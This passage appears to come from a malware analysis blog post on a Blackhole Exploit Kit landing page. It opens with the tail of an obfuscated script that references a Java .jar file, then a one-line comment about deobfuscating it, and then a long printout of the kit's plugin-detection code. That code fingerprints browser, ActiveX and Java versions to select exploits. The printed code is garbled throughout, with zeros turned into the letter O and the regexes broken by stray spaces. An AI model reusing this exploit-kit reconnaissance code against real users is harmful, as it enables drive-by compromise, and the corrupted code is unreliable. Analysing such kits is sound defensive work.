98,1O1,119,54,52,51,54,98,44,32,34,46,46,47,1OO,97,116,97,47,1O3,1O1,116,74,97,118,97,73,11O,1O2,111,46,1O6,97,114,34,41,59];</script><script language="javascript">
c();
z=asvxzc=e;
if(window.document)csq();
  </script></body>


Yepp; the same we see a lot these days. BHEK plugin detect. Mainly a bunch of txt/chars represented with decimal numbers.

2. we need to deobfuscate the script


Deobfuscation can be done with many tools but I usually try WepaWet first. And that did the trick:
xpdpd = {
  version : "O.7.9", name : "pdpd", handler : function (c, b, a){
    return function (){
      c(b, a)
    }
  }
  , openTag : "<", isDefined : function (b){
    return typeof b != "undefined"
  }
  , isArray : function (b){
    return (/array/i).test(Object.prototype.toString.call(b))
  }
  , isFunc : function (b){
    return typeof b == "function"
  }
  , isString : function (b){
    return typeof b == "string"
  }
  , isNum : function (b){
    return typeof b == "number"
  }
  , isStrNum : function (b){
    return (typeof b == "string" && (/\d/).test(b))
  }
  , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum : 
  function (b, c){
    var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
    exec(b) : null;
    return a ? a[O] : null
  }
  , compareNums : function (h, f, d){
    var e = this , c, b, a, g = parseInt;
    if (e.isStrNum(h) && e.isStrNum(f)){
      if (e.isDefined(d) && d.compareNums){
        return d.compareNums(h, f)
      }
      c = h.split(e.splitNumRegx);
      b = f.split(e.splitNumRegx);
      for (a = O; a < Math.min(c.length, b.length);
      a ++ ){
        if (g(c[a], 1O) > g(b[a], 1O)){
          return 1
        }
        if (g(c[a], 1O) < g(b[a], 1O)){
          return  - 1
        }
      }
    }
    return O
  }
  , formatNum : function (b, c){
    var d = this , a, e;
    if (!d.isStrNum(b)){
      return null
    }
    if (!d.isNum(c)){
      c = 4
    }
    c--;
    e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["O", "O", "O", "O"]);
    for (a = O; a < 4; a ++ ){
      if (/^(O+)(.+)$/.test(e[a])){
        e[a] = RegExp.$2
      }
      if (a > c ||! (/\d/).test(e[a])){
        e[a] = "O"
      }
    }
    return e.slice(O, 4).join(",")
  }
  , $$hasMimeType : function (a){
    return function (c){
      if (!a.isIE && c){
        var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
        for (b = O; b < d.length; b ++ ){
          if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
            f = navigator.mimeTypes[d[b]];
            e = f ? f.enabledPlugin : O;
            if (e && (e.name || e.description)){
              return f
            }
          }
        }
      }
      return null
    }
  }
  , findNavPlugin : function (l, e, c){
    var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: O, k = c ? 
    new RegExp(c, "i") : O, a = navigator.plugins, g = "", f, b, m;
    for (f = O; f < a.length; f ++ ){
      m = a[f].description || g;
      b = a[f].name || g;
      if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
      test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
        if (!k ||! (k.test(m) || k.test(b))){
          return a[f]
        }
      }
    }
    return null
  }
  , getMimeEnabledPlugin : function (k, m, c){
    var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : O, a, l
    , d, j = e.isString(k) ? [k] : k;
    for (d = O; d < j.length; d ++ ){
      if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
        l = f.description || h;
        a = f.name || h;
        if (b.test(l) || b.test(a)){
          if (!g ||! (g.test(l) || g.test(a))){
            return f
          }
        }
      }
    }
    return O
  }
  , getPluginFileVersion : function (f, b){
    var h = this , e, d, g, a, c =- 1;
    if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
      return b
    }
    if (!b){
      return e
    }
    e = h.formatNum(e);
    b = h.formatNum(b);
    d = b.split(h.splitNumRegx);
    g = e.split(h.splitNumRegx);
    for (a = O; a < d.length; a ++ ){
      if ( - 1 < c && c < a &&! (d[a] == "O")){
        return b
      }
      if (g[a] != d[a]){
        if (c ==- 1){
          c = a
        }
        if (d[a] != "O"){
          return b
        }
      }
    }
    return e
  }
  , AXO : window.ActiveXObject, getAXO : function (a){
    var f = null, d, b = this , c = {
    }
    ;
    try {
      f = new b.AXO(a)
    }
    catch (d){
    }
    return f
  }
  , convertFuncs : function (f){
    var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
    for (ain f){
      if (b.test(a)){
        try {
          g = a.slice(2);
          if (g.length > O &&! f[g]){
            f[g] = f[a](f);
            deletef[a]
          }
        }
        catch (d){
        }
      }
    }
  }
  , initObj : function (e, b, d){
    var a, c;
    if (e){
      if (e[b[O]] == 1 || d){
        for (a = O; a < b.length; a = a + 2){
          e[b[a]] = b[a + 1]
        }
      }
      for (ain e){
        c = e[a];
        if (c && c[b[O]] == 1){
          this .initObj(c, b)
        }
      }
    }
  }
  , initScript : function (){
    var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor || 
    "", b = a.platform || "", k = a.product || "";
    d.initObj(d, ["$", d]);
    for (hin d.Plugins){
      if (d.Plugins[h]){
        d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
      }
    }
    d.convertFuncs(d);
    d.OS = 1OO;
    if (b){
      var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, 
      "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 
      1OO];
      for (h = g.length - 2; h >= O; h = h - 2){
        if (g[h] && new RegExp(g[h], "i").test(b)){
          d.OS = g[h + 1];
          break 
        }
      }
    }
    ;
    d.head = i.getElementsByTagName("head")[O] || i.getElementsByTagName("body")[O] || i.
    body || null;
    d.isIE = new Function("return/*@cc_on!@*/!1")();
    d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 1O) : null
    ;
    d.ActiveXEnabled = false;
    if (d.isIE){
      var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", 
      "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", 
      "Scripting.Dictionary", "wmplayer.ocx"];
      for (h = O; h < m.length; h ++ ){
        if (d.getAXO(m[h])){
          d.ActiveXEnabled = true;
          break 
        }
      }
    }
    ;
    d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
    d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : 
    "O.9") : null;
    d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
    d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
    d.isSafari = ((/Apple/i).test(j) || (!j &&! d.isChrome)) && (
    /Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
    d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(
    RegExp.$1) : null;
    d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
    d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(
    RegExp.$1, 1O) : null;
    d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  }
  , init : function (d){
    var c = this , b, d, a = {
      status :- 3, plugin : O
    }
    ;
    if (!c.isString(d)){
      return a
    }
    if (d.length == 1){
      c.getVersionDelimiter = d;
      return a
    }
    d = d.toLowerCase().replace(/\s/g, "");
    b = c.Plugins[d];
    if (!b ||! b.getVersion){
      return a
    }
    a.plugin = b;
    if (!c.isDefined(b.installed)){
      b.installed = null;
      b.version = null;
      b.versionO = null;
      b.getVersionDone = null;
      b.pluginName = d
    }
    c.garbage = false;
    if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va"){
      a.status =- 2;
      return a
    }
    a.status = 1;
    return a
  }
  , fPush : function (b, a){
    var c = this ;
    if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[O]) && O < b.length
    ))){
      a.push(b)
    }
  }
  , callArray : function (b){
    var c = this , a;
    if (c.isArray(b)){
      for (a = O; a < b.length; a ++ ){
        if (b[a] === null){
          return 
        }
        c.call(b[a]);
        b[a] = null
      }
    }
  }
  , call : function (c){
    var b = this , a = b.isArray(c) ? c.length :- 1;
    if (O < a && b.isFunc(c[O])){
      c[O](b, a > 1 ? c[1] : O, a > 2 ? c[2] : O, a > 3 ? c[3] : O)
    }
    else {
      if (b.isFunc(c)){
        c(b)
      }
    }
  }
  , $$isMinVersion : function (a){
    return function (h, g, d, c){
      var e = a.init(h), f, b =- 1, j = {
      }
      ;
      if (e.status < O){
        return e.status
      }
      f = e.plugin;
      g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "O"));
      if (f.getVersionDone != 1){
        f.getVersion(g, d, c);
        if (f.getVersionDone === null){
          f.getVersionDone = 1
        }
      }
      a.cleanup();
      if (f.installed !== null){
        b = f.installed <= O.5 ? f.installed : (f.installed == O.7 ? 1 : (f.version === 
        null         ? O : (a.compareNums(f.version, g, f) >= O ? 1 :- O.1)))
      }
      ;
      return b
    }
  }
  , getVersionDelimiter : ",", $$getVersion : function (a){
    return function (g, d, c){
      var e = a.init(g), f, b, h = {
      }
      ;
      if (e.status < O){
        return null
      }
      ;
      f = e.plugin;
      if (f.getVersionDone != 1){
        f.getVersion(null, d, c);
        if (f.getVersionDone === null){
          f.getVersionDone = 1
        }
      }
      a.cleanup();
      b = (f.version || f.versionO);
      b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
      return b
    }
  }
  , cleanup : function (){
    var a = this ;
    if (a.garbage && a.isDefined(window.CollectGarbage)){
      window.CollectGarbage()
    }
  }
  , addWinEvent : function (d, c){
    var e = this , a = window, b;
    if (e.isFunc(c)){
      if (a.addEventListener){
        a.addEventListener(d, c, false)
      }
      else {
        if (a.attachEvent){
          a.attachEvent("on" + d, c)
        }
        else {
          b = a["on" + d];
          a["on" + d] = e.winHandler(c, b)
        }
      }
    }
  }
  , winHandler : function (d, c){
    return function (){
      d();
      if (typeof c == "function"){
        c()
      }
    }
  }
  , WLfuncsO : [], WLfuncs : [], runWLfuncs : function (a){
    var b = {
    }
    ;
    a.winLoaded = true;
    a.callArray(a.WLfuncsO);
    a.callArray(a.WLfuncs);
    if (a.onDoneEmptyDiv){
      a.onDoneEmptyDiv()
    }
  }
  , winLoaded : false, $$onWindowLoaded : function (a){
    return function (b){
      if (a.winLoaded){
        a.call(b)
      }
      else {
        a.fPush(b, a.WLfuncs)
      }
    }
  }
  , $$onDetectionDone : function (a){
    return function (h, g, c, b){
      var d = a.init(h), k, e, j = {
      }
      ;
      if (d.status ==- 3){
        return  - 1
      }
      e = d.plugin;
      if (!a.isArray(e.funcs)){
        e.funcs = []
      }
      if (e.getVersionDone != 1){
        k = a.isMinVersion ? a.isMinVersion(h, "O", c, b) : a.getVersion(h, c, b)
      }
      if (e.installed !=- O.5 && e.installed != O.5){
        a.call(g);
        return 1
      }
      if (e.NOTF){
        a.fPush(g, e.funcs);
        return O
      }
      return 1
    }
  }
  , div : null, divID : "pdpd", divWidth : 5O, pluginSize : 1, emptyDiv : function (){
    var d = this , b, h, c, a, f, g;
    if (d.div && d.div.childNodes){
      for (b = d.div.childNodes.length - 1; b >= O; b -- ){
        c = d.div.childNodes[b];
        if (c && c.childNodes){
          for (h = c.childNodes.length - 1; h >= O; h -- ){
            g = c.childNodes[h];
            try {
              c.removeChild(g)
            }
            catch (f){
            }
          }
        }
        if (c){
          try {
            d.div.removeChild(c)
          }
          catch (f){
          }
        }
      }
    }
    if (!d.div){
      a = document.getElementById(d.divID);
      if (a){
        d.div = a
      }
    }
    if (d.div && d.div.parentNode){
      try {
        d.div.parentNode.removeChild(d.div)
      }
      catch (f){
      }
      d.div = null
    }
  }
  , DONEfuncs : [], onDoneEmptyDiv : function (){
    var c = this , a, b;
    if (!c.winLoaded){
      return 
    }
    if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
      return 
    }
    for (ain c){
      b = c[a];
      if (b && b.funcs){
        if (b.OTF == 3){
          return 
        }
        if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
          return 
        }
      }
    }
    for (a = O; a < c.DONEfuncs.length; a ++ ){
      c.callArray(c.DONEfuncs)
    }
    c.emptyDiv()
  }
  , getWidth : function (c){
    if (c){
      var a = c.scrollWidth || c.offsetWidth, b = this ;
      if (b.isNum(a)){
        return a
      }
    }
    return  - 1
  }
  , getTagStatus : function (m, g, a, b){
    var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
    span, i = c.getWidth(d);
    if (!k ||! h ||! d ||! c.getDOMobj(m)){
      return  - 2
    }
    if (j < i || O > l || O > j || O > i || i <= c.pluginSize || c.pluginSize < 1){
      return O
    }
    if (l >= i){
      return  - 1
    }
    try {
      if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
        if (!m.winLoaded && c.winLoaded){
          return 1
        }
        if (m.winLoaded && c.isNum(b)){
          if (!c.isNum(m.count)){
            m.count = b
          }
          if (b - m.count >= 1O){
            return 1
          }
        }
      }
    }
    catch (f){
    }
    return O
  }
  , getDOMobj : function (g, a){
    var f, d = this , c = g ? g.span : O, b = c && c.firstChild ? 1 : O;
    try {
      if (b && a){
        d.div.focus()
      }
    }
    catch (f){
    }
    return b ? c.firstChild : null
  }
  , setStyle : function (b, g){
    var f = b.style, a, d, c = this ;
    if (f && g){
      for (a = O; a < g.length; a = a + 2){
        try {
          f[g[a]] = g[a + 1]
        }
        catch (d){
        }
      }
    }
  }
  , insertDivInBody : function (i, g){
    var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
    document, a = d.getElementsByTagName("body")[O] || d.body;
    if (!a){
      try {
        d.write('<div id="' + h + '">.' + c.openTag + "/div>");
        b = d.getElementById(h)
      }
      catch (f){
      }
    }
    a = d.getElementsByTagName("body")[O] || d.body;
    if (a){
      a.insertBefore(i, a.firstChild);
      if (b){
        a.removeChild(b)
      }
    }
  }
  , insertHTML : function (f, b, g, a, k){
    var l, m = document, j = this , p, o = m.createElement("span"), n, i;
    var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "Opx", "margin", 
    "Opx", "visibility", "visible"];
    var h = 
    "outline-style:none;border-style:none;padding:Opx;margin:Opx;visibility:visible;";
    if (!j.isDefined(a)){
      a = ""
    }
    if (j.isString(f) && (/[^\s]/).test(f)){
      f = f.toLowerCase().replace(/\s/g, "");
      p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
      p += 'style="' + h + 'display:inline;" ';
      for (n = O; n < b.length; n = n + 2){
        if (/[^\s]/.test(b[n + 1])){
          p += b[n] + '="' + b[n + 1] + '" '
        }
      }
      p += ">";
      for (n = O; n < g.length; n = n + 2){
        if (/[^\s]/.test(g[n + 1])){
          p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
        }
      }
      p += a + j.openTag + "/" + f + ">"
    }
    else {
      p = a
    }
    if (!j.div){
      i = m.getElementById(j.divID);
      if (i){
        j.div = i
      }
      else {
        j.div = m.createElement("div");
        j.div.id = j.divID
      }
      j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3)
       + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + 
      "px", "verticalAlign", "baseline", "display", "block"]));
      if (!i){
        j.setStyle(j.div, ["position", "absolute", "right", "Opx", "top", "Opx"]);
        j.insertDivInBody(j.div)
      }
    }
    if (j.div && j.div.parentNode){
      j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.
      pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
      try {
        o.innerHTML = p
      }
      catch (l){
      }
      ;
      try {
        j.div.appendChild(o)
      }
      catch (l){
      }
      ;
      return {
        span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
      }
    }
    return {
      span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
    }
  }
  , file : {
    $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
    , c){
      var b = this , e = b.$, a;
      if (d && e.isDefined(c)){
        if (!d[b.any]){
          d[b.any] = []
        }
        if (!d[b.valid]){
          d[b.valid] = []
        }
        d[b.any].push(c);
        a = b.split(f, c);
        if (a){
          d[b.valid].push(a)
        }
      }
    }
    , getValidLength : function (a){
      return a && a[this .valid] ? a[this .valid].length : O
    }
    , getAnyLength : function (a){
      return a && a[this .any] ? a[this .any].length : O
    }
    , getValid : function (c, a){
      var b = this ;
      return c && c[b.valid] ? b.get(c[b.valid], a) : null
    }
    , getAny : function (c, a){
      var b = this ;
      return c && c[b.any] ? b.get(c[b.any], a) : null
    }
    , get : function (d, a){
      var c = d.length - 1, b = this .$.isNum(a) ? a : c;
      return (O > b || b > c) ? null : d[b]
    }
    , split : function (g, c){
      var b = this , e = b.$, f = null, a, d;
      g = g ? g.replace(".", "\.") : "";
      d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
      if (e.isString(c) && d.test(c)){
        a = (RegExp.$1).split("/");
        f = {
          name : a[a.length - 1], ext : RegExp.$2, full : c
        }
        ;
        a[a.length - 1] = "";
        f.path = a.join("/")
      }
      return f
    }
    , z : O
  }
  , Plugins : {
    java : {
      mimeType : ["application/x-java-applet", "application/x-java-vm", 
      "application/x-java-bean"], classID : "clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93", 
      navigator : {
        a : window.navigator.javaEnabled(), javaEnabled : function (){
          return this .a
        }
        , mimeObj : O, pluginObj : O
      }
      , OTF : null, minIEver : 7, debug : O, debugEnable : function (){
        var a = this , b = a.$;
        a.debug = 1
      }
      , isDisabled : {
        $ : 1, DTK : function (){
          var a = this , c = a.$, b = a.$$;
          if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= O) || (c.
          isSafari && c.OS == 1 && (!c.verSafari || O > c.compareNums(c.verSafari, 
          "5,1,O,O"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
            return 1
          }
          return O
        }
        , AXO : function (){
          var a = this , c = a.$, b = a.$$;
          return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== O
          ))
        }
        , navMime : function (){
          var b = this , d = b.$, c = b.$$, a = c.navigator;
          if (d.isIE ||! a.mimeObj ||! a.pluginObj){
            return 1
          }
          return O
        }
        , navPlugin : function (){
          var b = this , d = b.$, c = b.$$, a = c.navigator;
          if (d.isIE ||! a.mimeObj ||! a.pluginObj){
            return 1
          }
          return O
        }
        , windowDotJava : function (){
          var a = this , c = a.$, b = a.$$;
          if (!window.java){
            return 1
          }
          if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - O.1)){
            return 1
          }
          return O
        }
        , allApplets : function (){
          var b = this , d = b.$, c = b.$$, a = c.navigator;
          if (d.OS >= 2O){
            return O
          }
          if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
          getProperty()[O]){
            return 1
          }
          if ((d.verGecko && O > d.compareNums(d.verGecko, d.formatNum("2"))) &&! a.
          mimeObj &&! c.lang.System.getProperty()[O]){
            return 1
          }
          return O
        }
        , AppletTag : function (){
          var b = this , d = b.$, c = b.$$, a = c.navigator;
          return d.isIE ?! a.javaEnabled() : O
        }
        , ObjectTag : function (){
          var a = this , c = a.$, b = a.$$;
          return c.isIE ?! c.ActiveXEnabled : O
        }
        , z : O
      }
      , getVerifyTagsDefault : function (){
        var a = this , c = a.$, b = [1, O, 1];
        if (c.OS >= 2O){
          return b
        }
        if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && O > c.
        compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || O > 
        c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 1O
        )){
          b = [1, 1, 1]
        }
        return b
      }
      , getVersion : function (j, g, i){
        var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null, 
        l = null, c = null;
        if (b.getVersionDone === null){
          b.OTF = O;
          k.mimeObj = d.hasMimeType(b.mimeType);
          if (k.mimeObj){
            k.pluginObj = k.mimeObj.enabledPlugin
          }
          if (h){
            h.begin()
          }
        }
        a.setVerifyTagsArray(i);
        d.file.save(b, ".jar", g);
        if (b.getVersionDone === O){
          if (a.should_Insert_Query_Any()){
            e = a.insert_Query_Any();
            b.setPluginStatus(e[O], e[1], f)
          }
          return 
        }
        if ((!f || b.debug) && b.DTK.query().version){
          f = b.DTK.version
        }
        if ((!f || b.debug) && b.navMime.query().version){
          f = b.navMime.version
        }
        if ((!f || b.debug) && b.navPlugin.query().version){
          f = b.navPlugin.version
        }
        if ((!f || b.debug) && b.AXO.query().version){
          f = b.AXO.version
        }
        if (b.nonAppletDetectionOk(f)){
          c = f
        }
        if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
          e = b.lang.System.getProperty();
          if (e[O]){
            f = e[O];
            c = e[O];
            l = e[1]
          }
        }
        b.setPluginStatus(c, l, f);
        if (a.should_Insert_Query_Any()){
          e = a.insert_Query_Any();
          if (e[O]){
            c = e[O];
            l = e[1]
          }
        }
        b.setPluginStatus(c, l, f)
      }
      , nonAppletDetectionOk : function (b){
        var d = this , e = d.$, a = d.navigator, c = 1;
        if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&! a
        .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled)){
          c = O
        }
        else {
          if (e.OS >= 2O){
          }
          else {
            if (d.info && O > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
            ()){
              c = O
            }
          }
        }
        return c
      }
      , setPluginStatus : function (d, f, a){
        var c = this , e = c.$, b;
        a = a || c.versionO;
        if (O < c.OTF){
          d = d || c.lang.System.getProperty()[O]
        }
        if (c.OTF < 3){
          b = d ? 1 : (a ?- O.2 :- 1);
          if (c.installed === null || b > c.installed){
            c.installed = b
          }
        }
        if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[O] &&! c.lang.System.getProperty
        ()[O]){
          c.installed = a ?- O.2 :- 1
        }
        ;
        if (c.OTF == 3 && c.installed !=- O.5 && c.installed != O.5){
          c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[O]) ? 
          O.5 :- O.5
        }
        if (c.OTF == 4 && (c.installed ==- O.5 || c.installed == O.5)){
          if (d){
            c.installed = 1
          }
          else {
            if (c.NOTF.isJavaActive(1) == 1){
              if (a){
                c.installed = 1;
                d = a
              }
              else {
                c.installed = O
              }
            }
            else {
              if (a){
                c.installed =- O.2
              }
              else {
                c.installed =- 1
              }
            }
          }
        }
        ;
        if (a){
          c.versionO = e.formatNum(e.getNum(a))
        }
        if (d){
          c.version = e.formatNum(e.getNum(d))
        }
        if (f && e.isString(f)){
          c.vendor = f
        }
        if (!c.vendor){
          c.vendor = ""
        }
        if (c.verify && c.verify.isEnabled()){
          c.getVersionDone = O
        }
        else {
          if (c.getVersionDone != 1){
            if (c.OTF < 2){
              c.getVersionDone = O
            }
            else {
              c.getVersionDone = c.applet.can_Insert_Query_Any() ? O : 1
            }
          }
        }
      }
      , DTK : {
        $ : 1, hasRun : O, status : null, VERSIONS : [], version : "", HTML : null, 
        Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-OOOO-OOO1-ABCDEFFEDCBA", 
        "clsid:CAFEEFAC-DEC7-OOOO-OOOO-ABCDEFFEDCBA"], mimeType : [
        "application/java-deployment-toolkit", 
        "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function 
        (){
          return this .$$.isDisabled.DTK()
        }
        , query : function (){
          var k = this , g = k.$, d = k.$$, j, l, h, m = {
          }
          , f = {
          }
          , a, c = null, i = null, b = (k.hasRun || k.disabled());
          k.hasRun = 1;
          if (b){
            return k
          }
          k.status = O;
          if (g.isIE && 6 <= g.verIE){
            for (l = O; l < k.classID.length; l ++ ){
              k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
              c = g.getDOMobj(k.HTML);
              try {
                if (c && c.jvms){
                  break 
                }
              }
              catch (j){
              }
            }
          }
          else {
            if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
              k.HTML = g.insertHTML("object", ["type", h.type], []);
              c = g.getDOMobj(k.HTML)
            }
          }
          if (c){
            try {
              a = c.jvms;
              if (a){
                i = a.getLength();
                if (g.isNum(i)){
                  k.status = O < i ? 1 :- 1;
                  for (l = O; l < i; l ++ ){
                    h = g.getNum(a.get(i - 1 - l).version);
                    if (h){
                      k.VERSIONS.push(h);
                      f["a" + g.formatNum(h)] = 1
                    }
                  }
                }
              }
            }
            catch (j){
            }
          }
          h = O;
          for (lin f){
            h ++ 
          }
          if (h && h !== k.VERSIONS.length){
            k.VERSIONS = []
          }
          if (k.VERSIONS.length){
            k.version = g.formatNum(k.VERSIONS[O])
          }
          ;
          return k
        }
      }
      , AXO : {
        $ : 1, hasRun : O, VERSIONS : [], version : "", disabled : function (){
          return this .$$.isDisabled.AXO()
        }
        , JavaVersions : [[1, 9, 1, 4O], [1, 8, 1, 4O], [1, 7, 1, 4O], [1, 6, O, 4O], [1, 
        5, O, 3O], [1, 4, 2, 3O], [1, 3, 1, 3O]], query : function (){
          var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
          a.hasRun = 1;
          if (c){
            return a
          }
          var i = [], k = [1, 5, O, 14], j = [1, 6, O, 2], h = [1, 3, 1, O], g = [1, 4, 2, 
          O], f = [1, 5, O, 7], d = b.getInfo ? true : false, l = {
          }
          ;
          if (b.minIEver <= e.verIE){
            i = a.search(j, j, d);
            if (O < i.length && d){
              i = a.search(k, k, d)
            }
          }
          else {
            if (d){
              i = a.search(f, f, true)
            }
            if (i.length == O){
              i = a.search(h, g, false)
            }
          }
          if (i.length){
            a.version = i[O];
            a.VERSIONS = [].concat(i)
          }
          ;
          return a
        }
        , search : function (a, j, p){
          var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = [];
          if (O < e.compareNums(a.join(","), j.join(","))){
            j = a
          }
          j = e.formatNum(j.join(","));
          var m, s = "1,4,2,O", g = "JavaPlugin." + a[O] + "" + a[1] + "" + a[2] + "" + (O
           < a[3] ? ("_" + (a[3] < 1O ? "O" : "") + a[3]) : "");
          for (h = O; h < f.JavaVersions.length; h ++ ){
            d = f.JavaVersions[h];
            n = "JavaPlugin." + d[O] + "" + d[1];
            b = d[O] + "." + d[1] + ".";
            for (l = d[2];
            l >= O; l -- ){
              r = "JavaWebStart.isInstalled." + b + l + ".O";
              if (e.compareNums(d[O] + "," + d[1] + "," + l + ",O", j) >= O &&! e.getAXO(r
              )){
                continue 
              }
              m = O > e.compareNums(d[O] + "," + d[1] + "," + l + ",O", s) ? true : false;
              for (q = d[3];
              q >= O; q -- ){
                c = l + "_" + (q < 1O ? "O" + q : q);
                o = n + c;
                if (e.getAXO(o) && (m || e.getAXO(r))){
                  i.push(b + c);
                  if (!p){
                    return i
                  }
                }
                if (o == g){
                  return i
                }
              }
              if (e.getAXO(n + l) && (m || e.getAXO(r))){
                i.push(b + l);
                if (!p){
                  return i
                }
              }
              if (n + l == g){
                return i
              }
            }
          }
          return i
        }
      }
      , navMime : {
        $ : 1, hasRun : O, mimetype : "", version : "", length : O, mimeObj : O, pluginObj
         : O, disabled : function (){
          return this .$$.isDisabled.navMime()
        }
        , query : function (){
          var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
          i.hasRun = 1;
          if (b){
            return i
          }
          ;
          var n =/^\ s * application \/ x - java - applet;
          jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k = 
          {
          }
          , c = f.formatNum("O");
          for (l = O; l < navigator.mimeTypes.length; l ++ ){
            o = navigator.mimeTypes[l];
            m = o ? o.enabledPlugin : O;
            g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : O;
            if (g && m && (m.description || m.name)){
              if (!k[h + g]){
                i.length ++ 
              }
              k[h + g] = o.type;
              if (O < f.compareNums(g, c)){
                c = g
              }
            }
          }
          g = k[h + c];
          if (g){
            o = f.hasMimeType(g);
            i.mimeObj = o;
            i.pluginObj = o ? o.enabledPlugin : O;
            i.mimetype = g;
            i.version = c
          }
          ;
          return i
        }
      }
      , navPlugin : {
        $ : 1, hasRun : O, version : "", disabled : function (){
          return this .$$.isDisabled.navPlugin()
        }
        , query : function (){
          var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = O, b
           = (m.hasRun || m.disabled());
          m.hasRun = 1;
          if (b){
            return m
          }
          ;
          a = h.pluginObj.name || "";
          i = h.pluginObj.description || "";
          if (!f || c.debug){
            g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\ 
            s * [Update] +\ s * ( \ d * )) ?/ i;
            if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 1O) >= 5){
              f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "O") + "," + (RegExp.
              $3 ? RegExp.$3 : "O")
            }
          }
          if (!f || c.debug){
            g =/ Java[ ^\ d] * Plug - in  / i;
